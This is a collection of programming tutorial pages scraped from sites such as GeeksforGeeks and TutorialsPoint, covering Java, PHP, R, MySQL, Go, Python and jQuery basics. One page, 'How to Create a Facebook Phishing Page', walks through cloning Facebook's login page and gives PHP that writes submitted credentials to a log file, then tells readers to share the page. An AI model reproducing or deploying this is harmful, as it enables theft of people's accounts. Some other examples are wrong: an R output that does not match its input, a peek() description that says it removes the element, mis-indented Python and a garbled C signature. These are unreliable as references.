code-rag-bench/online-tutorials huggingface dataset:
Console printf(String, Object) method in Java with Examples - GeeksforGeeks

12 Jun, 2020
The printf(String, Object) method of Console class in Java is used to write a formatted string to the output stream of the console. It uses the specified format string and arguments. It is a convenience method.
Syntax:
public Console printf(String fmt,
                      Object... args)

Parameters: This method accepts two parameters:
fmt – It represents the format of the string.
args – It represents the arguments that are referenced by the format specifiers in the string format.
Return value: This method returns the console.
Exceptions: This method throws IllegalFormatException if string format contains an illegal syntax or a format specifier is not compatible with the given arguments or insufficient arguments given the format string or other conditions that are illegal.
Note: System.console() returns null in an online IDE.
Below programs illustrate printf(String, Object) method in Console class in IO package:
Program 1:
// Java program to illustrate// Console printf(String, Object) method  import java.io.*;  public class GFG {    public static void main(String[] args)    {        // Create the console object        Console cnsl            = System.console();          if (cnsl == null) {            System.out.println(                "No console available");            return;        }          String fmt = "%1$4s %2$10s %3$10s%n";          cnsl.printf(fmt, "Books", "Author", "Price");        cnsl.printf(fmt, "-----", "------", "-----");        cnsl.printf(fmt, "DBMS", "Navathe", "800");        cnsl.printf(fmt, "Algorithm", "Cormen", "925");        cnsl.printf(fmt, "Operating System", "Rajib Mall", "750");    }}
Program 2:
// Java program to illustrate// Console printf(String, Object) method  import java.io.*;  public class GFG {    public static void main(String[] args)    {        // Create the console object        Console cnsl            = System.console();          if (cnsl == null) {            System.out.println(                "No console available");            return;        }          String fmt = "%1$4s %2$10s %3$10s%n";          cnsl.printf(fmt, "Items", "Quantity", "Price");        cnsl.printf(fmt, "-----", "------", "-----");        cnsl.printf(fmt, "Tomato", "1 Kg", "80");        cnsl.printf(fmt, "Apple", "3 Kg", "500");        cnsl.printf(fmt, "Potato", "2 Kg", "75");    }}
References:https://docs.oracle.com/javase/10/docs/api/java/io/Console.html#printf(java.lang.String, java.lang.Object...)
Java-Functions
Java-IO package
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
HashMap in Java with Examples
Interfaces in Java
Initialize an ArrayList in Java
Object Oriented Programming (OOPs) Concept in Java
ArrayList in Java
How to iterate any Map in Java
Multidimensional Arrays in Java
Overriding in Java
Stack Class in Java
Collections in Java
Explain Python class method chaining

Method chaining is a technique that is used for making multiple method calls on the same object, using the object reference just once. Example −
Assume we have a class Foo that has two methods, bar and baz.
We create an instance of the class Foo −
foo = Foo()
Without method chaining, to call both bar and baz, on the object foo, we do this −
foo.bar()
foo.baz()
With method chaining, we do this −
Chain calls to both methods bar() and baz() on object foo.
foo.bar().baz()
Simple method chaining can be implemented easily in Python.
class Foo(object):
    def bar(self):
        print "Foo.bar called"
        return self
    def baz(self):
        print "Foo.baz called"
        return self
foo = Foo()
foo2 = foo.bar().baz()
print " id(foo):", id(foo)
print "id(foo2):", id(foo2)
Here is the output of running the above program −
Foo.bar called
Foo.baz called
id(foo): 87108128
id(foo2): 87108128
PHP | eval() Function - GeeksforGeeks

20 Jun, 2018
The eval() function in PHP is an inbuilt function that evaluates a string as PHP code.
Syntax:
eval( $string )
Parameters: This function accepts a single parameter as shown in above syntax and and described below.
$string: It must consist of a valid PHP code to be evaluated but should not contain opening and closing PHP tags.
Note: All statements must be properly terminated using a semicolon. For example, initializing the string as ‘echo “Geeks for Geeks”‘ will cause a parse error. In order to rectify, need to initialize as ‘echo “Geeks for Geeks”;’.
Return Value: Returns NULL unless a return statement is called in the input string containing PHP code. Then the value is returned. In case of a parse error in the input string, the function returns FALSE.
Examples:
Input : $age = 20; $str = "I am $age years old"
        eval("\$str = \"$str\";");
Output : I am 20 years old

Input : $str = 'echo "Geeks for Geeks";';
        echo eval($str). "\n";
Output : Geeks for Geeks

Below programs illustrate the use of eval() function:
Program 1:
<?php  $age = 20;$str = 'My age is $age';echo $str. "\n";  eval("\$str = \"$str\";");echo $str. "\n";?>
My age is $age
My age is 20

Program 2:
<?php  $str = 'echo "Geeks for Geeks";';echo eval($str). "\n";?>
Geeks for Geeks

Reference : http://php.net/manual/en/function.eval.php
PHP-function
PHP
Web Technologies
PHP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
How to Insert Form Data into Database using PHP ?
How to convert array to string in PHP ?
Comparing two dates in PHP
How to fetch data from localserver database and display on HTML table using PHP ?
PHP | Converting string to Date and DateTime
Roadmap to Become a Web Developer in 2022
Installation of Node.js on Linux
Top 10 Projects For Beginners To Practice HTML and CSS Skills
How to fetch data from an API in ReactJS ?
How to insert spaces/tabs in text using HTML/CSS?
How to find 95% confidence interval for binomial data in R?

The binomial data has two parameters, the sample size and the number of successes. To find the 95% confidence interval we just need to use prop.test function in R but we need to make sure that we put correct argument to FALSE so that the confidence interval will be calculated without continuity correction. In the below examples, we have found the 95% confidence interval for different values of sample size and number of successes.
 Live Demo
prop.test(x=25,n=100,conf.level=0.95,correct=FALSE)
1-sample proportions test without continuity correction
data: 25 out of 100, null probability 0.5
X-squared = 25, df = 1, p-value = 5.733e-07
alternative hypothesis: true p is not equal to 0.5
95 percent confidence interval:
0.1754521 0.3430446
sample estimates:
p
0.25
 Live Demo
prop.test(x=5,n=100,conf.level=0.95,correct=FALSE)
1-sample proportions test without continuity correction
data: 5 out of 100, null probability 0.5
X-squared = 81, df = 1, p-value < 2.2e-16
alternative hypothesis: true p is not equal to 0.5
95 percent confidence interval:
0.02154368 0.11175047
sample estimates:
p
0.05
 Live Demo
prop.test(x=5,n=1000,conf.level=0.95,correct=FALSE)
1-sample proportions test without continuity correction
data: 5 out of 1000, null probability 0.5
X-squared = 980.1, df = 1, p-value < 2.2e-16
alternative hypothesis: true p is not equal to 0.5
95 percent confidence interval:
0.002137536 0.011650955
sample estimates:
p
0.005


 Live Demo
prop.test(x=5,n=10,conf.level=0.95,correct=FALSE)
1-sample proportions test without continuity correction
data: 5 out of 1000, null probability 0.5
X-squared = 980.1, df = 1, p-value < 2.2e-16
alternative hypothesis: true p is not equal to 0.5
95 percent confidence interval:
0.002137536 0.011650955
sample estimates:
p
0.005
 Live Demo
prop.test(x=50,n=100,conf.level=0.95,correct=FALSE)
1-sample proportions test without continuity correction
data: 50 out of 100, null probability 0.5
X-squared = 0, df = 1, p-value = 1
alternative hypothesis: true p is not equal to 0.5
95 percent confidence interval:
0.4038315 0.5961685
sample estimates:
 p
 0.5
 Live Demo
prop.test(x=500,n=1125,conf.level=0.95,correct=FALSE)
1-sample proportions test without continuity correction
data: 500 out of 1125, null probability 0.5
X-squared = 13.889, df = 1, p-value = 0.0001939
alternative hypothesis: true p is not equal to 0.5
95 percent confidence interval:
0.4156458 0.4736212
sample estimates:
 p
 0.4444444
 Live Demo
prop.test(x=5000,n=9874,conf.level=0.95,correct=FALSE)
1-sample proportions test without continuity correction
data: 5000 out of 9874, null probability 0.5
X-squared = 1.6079, df = 1, p-value = 0.2048
alternative hypothesis: true p is not equal to 0.5
95 percent confidence interval:
0.4965185 0.5162373
sample estimates:
p
0.5063804
How to create timer using C++11?

Here we will see how to make timer using C++. Here we are creating one class called later. This class has following properties.
int (milliseconds to wait until to run code)
bool (If this is true, it returns instantly, and run the code after specified time on another thread)
The variable arguments (exactly we want to feed to std::bind)
We can change the chrono::milliseconds to nanoseconds or microseconds etc. to change the precision.
#include <functional>
#include <chrono>
#include <future>
#include <cstdio>
class later {
   public:
      template <class callable, class... arguments>
      later(int after, bool async, callable&& f, arguments&&... args){
      std::function<typename std::result_of<callable(arguments...)>::type()> task(std::bind(std::forward<callable>(f), std::forward<arguments>(args)...));
      if (async) {
         std::thread([after, task]() {
            std::this_thread::sleep_for(std::chrono::milliseconds(after));
            task();
         }).detach();
      } else {
         std::this_thread::sleep_for(std::chrono::milliseconds(after));
         task();
      }
   }
};
void test1(void) {
   return;
}
void test2(int a) {
   printf("result of test 2: %d\n", a);
   return;
}
int main() {
   later later_test1(3000, false, &test1);
   later later_test2(1000, false, &test2, 75);
   later later_test3(3000, false, &test2, 101);
}
$ g++ test.cpp -lpthread
$ ./a.out
result of test 2: 75
result of test 2: 101
$
first result after 4 seconds. The second result after three seconds from the first one
C - strstr function

C - Programming HOME
C - Basic Introduction
C - Program Structure
C - Reserved Keywords
C - Basic Datatypes
C - Variable Types
C - Storage Classes
C - Using Constants
C - Operator Types
C - Control Statements
C - Input and Output
C - Pointing to Data
C - Using Functions
C - Play with Strings
C - Structured Datatypes
C - Working with Files
C - Bits Manipulation
C - Pre-Processors
C - Useful Concepts
C - Built-in Functions
C - Useful Resources
Computer Glossary
Who is Who
Copyright © 2014 by tutorialspoint
#include <stdio.h>

char *strstr(char *string2, char string*1); 

The strstr function locates the first occurrence of the string string1 in the string string2 and returns a pointer to the beginning of the first occurrence.
The strstr function returns a pointer within string2 that points to a string identical to string1. If no such sub string exists in src a null pointer is returned.
#include <stdio.h>

int main() {
   char s1 [] = "My House is small";
   char s2 [] = "My Car is green";

   printf ("Returned String 1: %s\n", strstr (s1, "House"));
   printf ("Returned String 2: %s\n", strstr (s2, "Car"));
}

It will proiduce following result:
Returned String 1: House is small
Returned String 2: Car is green


Advertisements


    6 Lectures 
     1.5 hours 

 Mr. Pradeep Kshetrapal

    41 Lectures 
     5 hours 

 AR Shankar

    11 Lectures 
     58 mins

 Musab Zayadneh

    59 Lectures 
     15.5 hours 

 Narendra P

    11 Lectures 
     1 hours 

 Sagar Mehta

    39 Lectures 
     4 hours 

 Vikas Yadav
 Print
 Add Notes
 Bookmark this page
Getting the last 30 rows in MySQL

To get the last 30 rows in MySQL, you need to use ORDER BY DESC and then LIMIT 30. The syntax is as follows −
select * from yourTableName order by yourColumnName DESC LIMIT 30;
Let us first create a table −
mysql> create table DemoTable1567
   -> (
   -> Id int NOT NULL AUTO_INCREMENT PRIMARY KEY
   -> );
Query OK, 0 rows affected (0.82 sec)
Insert some records in the table using insert command −
mysql> insert into DemoTable1567 values(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),();
Query OK, 37 rows affected (0.37 sec)
Records: 37  Duplicates: 0  Warnings: 0
Display all records from the table using select statement −
mysql> select * from DemoTable1567;
This will produce the following output −
+----+
| Id |
+----+
|  1 |
|  2 |
|  3 |
|  4 |
|  5 |
|  6 |
|  7 |
|  8 |
|  9 |
| 10 |
| 11 |
| 12 |
| 13 |
| 14 |
| 15 |
| 16 |
| 17 |
| 18 |
| 19 |
| 20 |
| 21 |
| 22 |
| 23 |
| 24 |
| 25 |
| 26 |
| 27 |
| 28 |
| 29 |
| 30 |
| 31 |
| 32 |
| 33 |
| 34 |
| 35 |
| 36 |
| 37 |
+----+
37 rows in set (0.00 sec)
Following is the query to get last 30 rows −
mysql> select * from DemoTable1567 order by Id DESC LIMIT 30;
This will produce the following output −
+----+
| Id |
+----+
| 37 |
| 36 |
| 35 |
| 34 |
| 33 |
| 32 |
| 31 |
| 30 |
| 29 |
| 28 |
| 27 |
| 26 |
| 25 |
| 24 |
| 23 |
| 22 |
| 21 |
| 20 |
| 19 |
| 18 |
| 17 |
| 16 |
| 15 |
| 14 |
| 13 |
| 12 |
| 11 |
| 10 |
|  9 |
|  8 |
+----+
30 rows in set (0.00 sec)
Difference between peek(), poll() and remove() method of Queue interface in java?

This represents a collection that is indented to hold data before processing. It is an arrangement of the type First-In-First-Out (FIFO). The first element put in the queue is the first element taken out from it.
This method returns the object at the top of the current queue, without removing it. If the queue is empty this method returns null.
 Live Demo
import java.util.Iterator;
import java.util.LinkedList;
import java.util.Queue;
public class QueueExample {
   public static void main(String args[]) {
      Queue<String> queue = new LinkedList<String>();
      queue.add("Java");
      queue.add("JavaFX");
      queue.add("OpenCV");
      queue.add("Coffee Script");
      queue.add("HBase");
      System.out.println("Element at the top of the queue: "+queue.peek());
      Iterator<String> it = queue.iterator();
      System.out.println("Contents of the queue: ");
      while(it.hasNext()) {
         System.out.println(it.next());
      }
   }
}
Element at the top of the queue: Java
Contents of the queue:
Java
JavaFX
OpenCV
Coffee Script
Hbase
The peek() method of the Queue interface returns the object at the top of the current queue and removes it. If the queue is empty this method returns null.
 Live Demo
import java.util.Iterator;
import java.util.LinkedList;
import java.util.Queue;
public class QueueExample {
   public static void main(String args[]) {
      Queue<String> queue = new LinkedList<String>();
      queue.add("Java");
      queue.add("JavaFX");
      queue.add("OpenCV");
      queue.add("Coffee Script");
      queue.add("HBase");
      System.out.println("Element at the top of the queue: "+queue.poll());
      Iterator<String> it = queue.iterator();
      System.out.println("Contents of the queue: ");
      while(it.hasNext()) {
         System.out.println(it.next());
      }
   }
}
Element at the top of the queue: Java
Contents of the queue:
JavaFX
OpenCV
Coffee Script
HBase
Python Number log10() Method

Python number  method log10() returns base-10 logarithm of x for x > 0.
Following is the syntax for log10() method −
import math

math.log10( x )
Note − This function is not accessible directly, so we need to import math module and then we need to call this function using math static object.
x − This is a numeric expression.
x − This is a numeric expression.
This method returns base-10 logarithm of x for x > 0.
The following example shows the usage of log10() method.
#!/usr/bin/python
import math   # This will import math module

print "math.log10(100.12) : ", math.log10(100.12)
print "math.log10(100.72) : ", math.log10(100.72)
print "math.log10(119L) : ", math.log10(119L)
print "math.log10(math.pi) : ", math.log10(math.pi)
When we run above program, it produces following result −
math.log10(100.12) :  2.00052084094
math.log10(100.72) :  2.0031157171
math.log10(119L) :  2.07554696139
math.log10(math.pi) :  0.497149872694


    187 Lectures 
     17.5 hours 

 Malhar Lathkar

    55 Lectures 
     8 hours 

 Arnab Chakraborty

    136 Lectures 
     11 hours 

 In28Minutes Official

    75 Lectures 
     13 hours 

 Eduonix Learning Solutions

    70 Lectures 
     8.5 hours 

 Lets Kode It

    63 Lectures 
     6 hours 

 Abhilash Nelson
 Print
 Add Notes
 Bookmark this page
JavaScript - Array every() Method

JavaScript array every method tests whether all the elements in an array passes the test implemented by the provided function.
Its syntax is as follows −
array.every(callback[, thisObject]);

callback − Function to test for each element.
callback − Function to test for each element.
thisObject − Object to use as this when executing callback.
thisObject − Object to use as this when executing callback.
Returns true if every element in this array satisfies the provided testing function.
This method is a JavaScript extension to the ECMA-262 standard; as such it may not be present in other implementations of the standard. To make it work, you need to add the following code at the top of your script.
if (!Array.prototype.every) {
   Array.prototype.every = function(fun /*, thisp*/) {
      var len = this.length;
      if (typeof fun != "function")
      throw new TypeError();
      
      var thisp = arguments[1];
      for (var i = 0; i < len; i++) {
         if (i in this && !fun.call(thisp, this[i], i, this))
         return false;
      }
      return true;
   };
}
Try the following example.
<html>
   <head>
      <title>JavaScript Array every Method</title>
   </head>
   
   <body>   
      <script type = "text/javascript">
         if (!Array.prototype.every) {
            Array.prototype.every = function(fun /*, thisp*/) {
               var len = this.length;
               if (typeof fun != "function")
               throw new TypeError();
               
               var thisp = arguments[1];
               for (var i = 0; i < len; i++) {
                  if (i in this && !fun.call(thisp, this[i], i, this))
                  return false;
               }
               return true;
            };
         }
         function isBigEnough(element, index, array) {
            return (element >= 10);
         }
         var passed = [12, 5, 8, 130, 44].every(isBigEnough);
         document.write("First Test Value : " + passed ); 
         
         passed = [12, 54, 18, 130, 44].every(isBigEnough);
         document.write("Second Test Value : " + passed ); 
      </script>      
   </body>
</html>
First Test Value : falseSecond Test Value : true


    25 Lectures 
     2.5 hours 

 Anadi Sharma

    74 Lectures 
     10 hours 

 Lets Kode It

    72 Lectures 
     4.5 hours 

 Frahaan Hussain

    70 Lectures 
     4.5 hours 

 Frahaan Hussain

    46 Lectures 
     6 hours 

 Eduonix Learning Solutions

    88 Lectures 
     14 hours 

 Eduonix Learning Solutions
 Print
 Add Notes
 Bookmark this page
Binary Gap in Python

Suppose we have a positive integer N, we have to find the longest distance between two
consecutive 1's in the binary representation of N. If there are no two-consecutive 1's, then return 0.
So, if the input is like 22, then the output will be 2, as 22 in binary is 10110. There are three ones In the binary representation of 22, and two consecutive pairs of 1's. The first consecutive pair of 1's have distance 2, then the second consecutive pair of 1's have distance 1. Answer will be the largest of these two distances, which is 2.
To solve this, we will follow these steps −
K := make a list of bits of binary representation of N
Max := 0, C := 0, S := 0
Flag := False
for i in range 0 to size of K, doif K[i] is '1' and C is 0 and Flag is False, thenC:= iFlag := Trueotherwise when K[i] is '1' and Flag, thenS:= iif Max<abs(S-C), thenMax := |S-C|C:= S
if K[i] is '1' and C is 0 and Flag is False, thenC:= iFlag := True
C:= i
Flag := True
otherwise when K[i] is '1' and Flag, thenS:= iif Max<abs(S-C), thenMax := |S-C|C:= S
S:= i
if Max<abs(S-C), thenMax := |S-C|
Max := |S-C|
C:= S
return Max
Let us see the following implementation to get better understanding −
 Live Demo
class Solution:
   def binaryGap(self, N):
      B = bin(N).replace('0b','')
      K = str(B)
      K = list(K)
      Max = 0
      C = 0
      S =0
      Flag =False
      for i in range(len(K)):
         if K[i] is '1' and C is 0 and Flag is False:
            C=i
         Flag = True
         elif K[i] is '1' and Flag:
            S=i
            if Max<abs(S-C):
               Max = abs(S-C)
               C=S
      return Max
ob = Solution()
print(ob.binaryGap(22))
22
2
Retrieve time from MySQL as HH:MM format?

To retrieve time as HH:MM format, use the DATE_FORMAT() function. To understand the function and retrieve time, let us create a table.
The query to create a table is as follows
mysql> create table retrieveTimeDemo
   -> (
   -> UserId int NOT NULL AUTO_INCREMENT PRIMARY KEY,
   -> UserArrivalTime datetime
   -> );
Query OK, 0 rows affected (0.57 sec)
Insert some records in the table using insert command.
The query is as follows
mysql> insert into retrieveTimeDemo(UserArrivalTime) values('2013-01-21 13:45:34');
Query OK, 1 row affected (0.16 sec)
mysql> insert into retrieveTimeDemo(UserArrivalTime) values('2014-11-25 11:40:56');
Query OK, 1 row affected (0.11 sec)
mysql> insert into retrieveTimeDemo(UserArrivalTime) values('2016-10-27 17:30:40');
Query OK, 1 row affected (0.12 sec)
mysql> insert into retrieveTimeDemo(UserArrivalTime) values('2017-02-21 18:03:06');
Query OK, 1 row affected (0.19 sec)
mysql> insert into retrieveTimeDemo(UserArrivalTime) values('2018-04-24 22:30:32');
Query OK, 1 row affected (0.18 sec)
Display all records from the table using select statement.
The query is as follows
mysql> select *from retrieveTimeDemo;
The following is the output
+--------+---------------------+
| UserId | UserArrivalTime     |
+--------+---------------------+
| 1      | 2013-01-21 13:45:34 |
| 2      | 2014-11-25 11:40:56 |
| 3      | 2016-10-27 17:30:40 |
| 4      | 2017-02-21 18:03:06 |
| 5      | 2018-04-24 22:30:32 |
+--------+---------------------+
5 rows in set (0.00 sec)
Here is the query to retrieve time from MySQL as HH:MM format
mysql> select date_format(UserArrivalTime,'%H:%i') from retrieveTimeDemo;
The following is the output
+--------------------------------------+
| date_format(UserArrivalTime,'%H:%i') |
+--------------------------------------+
| 13:45                                |
| 11:40                                |
| 17:30                                |
| 18:03                                |
| 22:30                                |
+--------------------------------------+
5 rows in set (0.00 sec)
C Program to convert a number to a string

In this section we will see how to convert a number (integer or float or any other numeric type data) to a string.
The logic is very simple. Here we will use the sprintf() function. This function is used to print some value or line into a string, but not in the console. This is the only difference between printf() and sprintf(). Here the first argument is the string buffer. where we want to save our data.
Input: User will put some numeric value say 42.26
Output: This program will return the string equivalent result of that number like "42.26"
Step 1: Take a number from the user
Step 2: Create an empty string buffer to store result
Step 3: Use sprintf() to convert number to string
Step 4: End
 Live Demo
#include<stdio.h>
main() {
   char str[20];    //create an empty string to store number
   float number;
   printf("Enter a number: ");
   scanf("%f", &number);
   sprintf(str, "%f", number);   //make the number into string using sprintf function
   printf("\nYou have entered: %s", str);
}
Enter a number: 46.3258
You have entered: 46.325802
HTTP headers | Set-Cookie

31 Oct, 2019
The HTTP header Set-Cookie is a response header and used to send cookies from the server to the user agent. So the user agent can send them back to the server later so the server can detect the user.
Syntax:
Set-Cookie: <cookie-name>=<cookie-value> | Expires=<date> 
               | Max-Age=<non-zero-digit> | Domain=<domain-value>
               | Path=<path-value> | SameSite=Strict|Lax|none
Note: Using multiple directives are also possible.
Directives:
<cookie-name>=<cookie-value>: The cookie name have to avoid this character ( ) @, ; : \ ” / [ ] ? = { } plus control characters, spaces, and tabs. It can be any US-ASCII characters.
Expires=<date>: It is an optional directive that contains the expiry date of the cookie.
Max-Age=<non-zero-digit>: It contains the life span in a digit of seconds format, zero or negative value will make the cookie expired immediately.
Domain=<domain-value>: This directive defines the host where the cookie will be sent. It is an optional directive.
Path=<path-value>: This directive define a path that must exist in the requested URL, else the browser can’t send the cookie header.
SameSite=Strict|Lax|none: This directives providing some protection against cross-site request forgery attacks.
Example:
This types cookies were removed when the user shut down the system this types of cookies known as a session cookie.Set-Cookie: sessionId=38afes7a8
Set-Cookie: sessionId=38afes7a8
Permanent cookies expire on some specific dateset-cookie: 1P_JAR=2019-10-24-18; expires=...in=.google.com; SameSite=none
set-cookie: 1P_JAR=2019-10-24-18; expires=...in=.google.com; SameSite=none
To check this Set-Cookie in action go to Inspect Element -> Network check the response header for Set-Cookie.
Supported Browsers: The browsers compatible with HTTP header Set-Cookie are listed below:
Google Chrome
Internet Explorer
Firefox
Safari
Opera
HTTP-headers
Picked
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to detect escape key press using jQuery?

12 Apr, 2019
To detect escape key press, keyup or keydown event handler will be used in jquery. It will trigger over the document when the escape key will be pressed from the keyboard.
keyup event: This event is fired when key is released from the keyboard.
keydown event: This event is fired when key is pressed from the keyboard.
Syntax:
$(document).on('keydown', function(event) {
       if (event.key == "Escape") {
           alert('Esc key pressed.');
       }
   });

Explanation:Over whole document we are calling the on method and we are passing the keydown or keyup event as first parameter. As second parameter a function is attached which invokes when keydown or keyup event occurs and it will show an alert on pressing the escape key from the keyboard.
Example-1: This example detects the escape key press(using keydown event handler)
<!DOCTYPE html><html lang="en">  <head>    <meta charset="UTF-8">    <title>      escape-jquery-detection  </title>    <script src="https://code.jquery.com/jquery-3.3.1.min.js">  </script></head>  <body>    <h1>      Escape jquery detection      using keydown event handler  </h1></body>  <script>    $(document).on(      'keydown', function(event) {        if (event.key == "Escape") {            alert('Esc key pressed.');        }    });</script>  </html>
Output before pressing escape:
Output after pressing escape:
Example-2: This example detects the escape key press (using keyup event handler)
<!DOCTYPE html><html lang="en">  <head>    <meta charset="UTF-8">    <title>      escape-jquery-detection  </title>    <script src="https://code.jquery.com/jquery-3.3.1.min.js">  </script></head>  <body>    <h1>Escape jquery detection using keyup event handler  </h1></body>  <script>    $(document).on('keyup', function(event) {        if (event.key == "Escape") {            alert('Esc key pressed.');        }    });</script>  </html>
Output before pressing escape:
Output after pressing escape:
Picked
JQuery
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python | Pandas Index.summary()

18 Dec, 2018
Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric python packages. Pandas is one of those packages and makes importing and analyzing data much easier.
Pandas Index.summary() function return a summarized representation of the Index. This function is similar to what we have for the dataframes.
Syntax: Index.summary(name=None)
Returns : Summary
Example #1: Use Index.summary() function to find the summary of the Index.
# importing pandas as pdimport pandas as pd  # Creating the index idx = pd.Index(['Beagle', 'Pug', 'Labrador',                'Sephard', 'Mastiff', 'Husky'])  # Print the indexidx
Output :
Now we will find the summary of the Index.
# find the summary of the Index.idx.summary()
Output :
As we can see in the output, the function has returned an overall summary of the Index. Example #2: Use Index.summary() function to summarize the Index.
# importing pandas as pdimport pandas as pd  # Creating the index idx = pd.Index([22, 14, 8, 56, 27, 21, 51, 23])  # Print the indexidx
Output :
Now we will find the summary of the index.
# the function returns the summary of the Indexidx.summary()
Output :
As we can see in the output, the function has returned the summary for the Index.
Python pandas-indexing
Python-pandas
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to add a title to a Matplotlib legend?

24 Jan, 2021
Prerequisites: Matplotlib
In this article, we will see how can we can add a title to a legend in our graph using matplotlib, Here we will take two different examples to showcase our graph.
Approach:
Import required module.
Create data.
Add a title to a legend.
Normally plot the data.
Display plot.
Below is the Implementation:
Example 1:
In this example, we will draw different lines with the help of matplotlib and Use the title argument to plt.legend() to specify the legend title.
Python3
# importing packageimport matplotlib.pyplot as pltimport numpy as np  # create dataX = [1, 2, 3, 4, 5]  # plot linesplt.plot(X, np.sin(X), label = "Curve-1")plt.plot(X, np.cos(X), label = "Curve-2")  # Add a title to a legendplt.legend(title = "Legend Title")plt.title("Line Graph - Geeksforgeeks")  plt.show()
Output:
Example 2:
In this example, we will draw a Bar Graph with the help of matplotlib and Use the title argument to plt.legend() to specify the legend title.
Python3
# importing packageimport matplotlib.pyplot as plt  # sample code plt.bar([1, 2, 3], [16, 4, 1],         color ='yellow',        label = 'Label 2')   plt.bar([4, 5], [2, 4],         label = 'Label 1')  # Add a title to a legendplt.legend(title = "Variation Rate")  plt.title("Line Graph - Geeksforgeeks")  plt.show()
Output:
Python-matplotlib
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
filepath.Base() Function in Golang With Examples

10 May, 2020
In Go language, path package used for paths separated by forwarding slashes, such as the paths in URLs. The filepath.Base() function in Go language used to return the last element of the specified path. Here the trailing path separators are removed before extracting the last element. If the path is empty, Base returns “.”. If the path consists entirely of separators, Base returns a single separator. Moreover, this function is defined under the path package. Here, you need to import the “path/filepath” package in order to use these functions.
Syntax:
func Base(path string) string

Here, ‘path’ is the specified path.
Return Value: It return the last element of the specified path. If the path is empty, this function returns “.”. If the path consists entirely of separators, this function returns a single separator.
Example 1:
// Golang program to illustrate the usage of// filepath.Base() function  // Including the main packagepackage main  // Importing fmt and path/filepathimport (    "fmt"    "path/filepath")  // Calling mainfunc main() {      // Calling the Base() function to    // get the last element of path    fmt.Println(filepath.Base("/home/gfg"))    fmt.Println(filepath.Base(".gfg"))    fmt.Println(filepath.Base("/gfg"))    fmt.Println(filepath.Base(":gfg/GFG"))}
Output:
gfg
.gfg
gfg
GFG

Example 2:
// Golang program to illustrate the usage of// filepath.Base() function  // Including the main packagepackage main  // Importing fmt and path/filepathimport (    "fmt"    "path/filepath")  // Calling mainfunc main() {      // Calling the Base() function which    // returns "." if the path is empty    // and returns a single separator if    // the path consists entirely of separators    fmt.Println(filepath.Base(""))    fmt.Println(filepath.Base("."))    fmt.Println(filepath.Base("/"))    fmt.Println(filepath.Base("/."))    fmt.Println(filepath.Base("//"))    fmt.Println(filepath.Base(":/"))      }
Output:
.
.
/
.
/
:

Golang-filepath
Go Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Parse JSON in Golang?
Constants- Go Language
Go Variables
Loops in Go Language
Time Durations in Golang
Structures in Golang
Strings in Golang
How to iterate over an Array using for loop in Golang?
time.Parse() Function in Golang With Examples
Class and Object in Golang
How to Create a Facebook Phishing Page ?

29 Jun, 2022
Phishing is the technique to create a similar type of web page to the existing web page. Phishing is a type of attack where the intruders disguising as trustworthy agents attempt to gain your personal information such as passwords, credit card numbers, or any other information.
Steps to Create Facebook Phishing Page: 
Open the Facebook login page in your browser.
Press ctrl+U to find the source code.
Copy whole source code and create a PHP file (index.php) and paste it.
Now, search for string methode=”POST”, it will give you two results first for login and second for register.
Next, replace the action file name as “xyz.php” in the login form.
Now create a file “xyz.php” and “log.txt” and paste below code in “xyz.php”.  
File name: xyz.php 
php
<?php  // Set the location to redirect the pageheader ('Location: http://www.facebook.com');  // Open the text file in writing mode $file = fopen("log.txt", "a");  foreach($_POST as $variable => $value) {    fwrite($file, $variable);    fwrite($file, "=");    fwrite($file, $value);    fwrite($file, "\r\n");}  fwrite($file, "\r\n");fclose($file);exit;?>
Now you are done, share the page and if anyone will enter username and password then it will save into the log.txt file.
pkanu8744
PHP-Misc
PHP
Web Technologies
Web technologies Questions
PHP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Insert Form Data into Database using PHP ?
How to convert array to string in PHP ?
How to Upload Image into Database and Display it using PHP ?
How to check whether an array is empty using PHP?
PHP | Converting string to Date and DateTime
Installation of Node.js on Linux
Top 10 Projects For Beginners To Practice HTML and CSS Skills
Difference between var, let and const keywords in JavaScript
How to insert spaces/tabs in text using HTML/CSS?
How to fetch data from an API in ReactJS ?
Get a List of all the Attached Packages in R Programming – search() Function

12 Jun, 2020
search() function in R Language is used to get the list of all the attached packages in the R search path.
Syntax: search()
Parameters:This function takes no parameters.
Example 1:
# R program to list the packages# attached to R search path  # Calling search() functionsearch()
Output:
[1] ".GlobalEnv"        "package:stats"     "package:graphics" 
[4] "package:grDevices" "package:utils"     "package:datasets" 
[7] "package:methods"   "Autoloads"         "package:base"     

Example 2:
# R program to list the packages# attached to R search path  # Attaching datasets to pathattach(airquality)attach(BOD)  # Calling search() functionsearch()
Output:
 [1] ".GlobalEnv"        "BOD"               "airquality"       
 [4] "package:stats"     "package:graphics"  "package:grDevices"
 [7] "package:utils"     "package:datasets"  "package:methods"  
[10] "Autoloads"         "package:base"     

R-Functions
R-Packages
R Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python | os.path.isdir() method

26 Aug, 2019
OS module in Python provides functions for interacting with the operating system. OS comes under Python’s standard utility modules. This module provides a portable way of using operating system dependent functionality. os.path module is sub module of OS module in Python used for common path name manipulation.
os.path.isdir() method in Python is used to check whether the specified path is an existing directory or not. This method follows symbolic link, that means if the specified path is a symbolic link pointing to a directory then the method will return True.
Syntax: os.path.isdir(path)
Parameter:path: A path-like object representing a file system path.
Return Type: This method returns a Boolean value of class bool. This method returns True if specified path is an existing directory, otherwise returns False.
Code #1: Use of os.path.isdir() method
# Python program to explain os.path.isdir() method     # importing os.path module import os.path  # Pathpath = '/home/User/Documents/file.txt'  # Check whether the # specified path is an# existing directory or notisdir = os.path.isdir(path)print(isdir)    # Pathpath = '/home/User/Documents/'  # Check whether the # specified path is an# existing directory or notisdir = os.path.isdir(path)print(isdir)
False
True

